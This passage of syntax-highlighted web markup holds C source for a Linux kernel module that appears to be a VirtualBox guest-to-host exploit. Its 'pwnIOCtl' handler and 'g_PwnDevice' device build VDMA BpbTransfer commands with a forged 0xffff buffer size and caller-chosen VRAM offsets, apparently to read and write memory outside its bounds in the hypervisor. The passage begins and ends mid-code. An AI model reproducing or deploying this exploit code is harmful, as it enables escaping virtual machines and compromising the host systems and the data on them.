class=\"crayon-o\">*<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-668\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Preparing BpbTransfer command for writing %u bytes (offset=%llu).n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-669\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-670\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-671\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">32<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-672\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-673\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-674\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_BPB_TRANSFER<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-675\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-676\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-677\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-678\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-679\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/*VBVA_VDMA_CMD*\/<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-680\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-681\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Failed to allocate HGSMI memoryn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-682\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ENOMEM<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-683\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-684\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-685\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-686\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-687\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACBUF_DR <\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">32<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-688\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-c\">\/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-689\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cbBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffff<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-690\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-691\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACMD <\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-692\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">enmType<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER *\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-693\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-694\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACMD_DMA_BPB_TRANSFER <\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACMD_DMA_BPB_TRANSFER<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-695\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cbTransferSize<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-696\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-697\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">Dst<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">offVramBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-698\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">Src<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">offVramBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">g_vram<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-699\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-700\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-701\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-702\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_FAILURE<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-703\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Error while sending VDMA command: %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-704\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EFAULT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-705\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-706\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-707\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-708\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">6<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-709\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Getting VRAM sizen&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-710\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">vram_size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxVideoCmnPortReadUlong<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBE_DISPI_IOPORT_DATA<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-711\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">vram_size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof <\/span><span class=\"crayon-v\">vram_size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-712\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-713\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Unknown request type: %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-714\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EFAULT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-715\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-716\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-717\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-718\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-719\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-720\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">file_operations&nbsp;&nbsp; <\/span><span class=\"crayon-v\">g_PwnFileOps<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-721\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-722\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">owner<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">THIS_MODULE<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-723\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">unlocked_ioctl<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pwnIOCtl<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-724\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-725\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-726\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">miscdevice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">g_PwnDevice<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-727\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-728\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">minor<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span 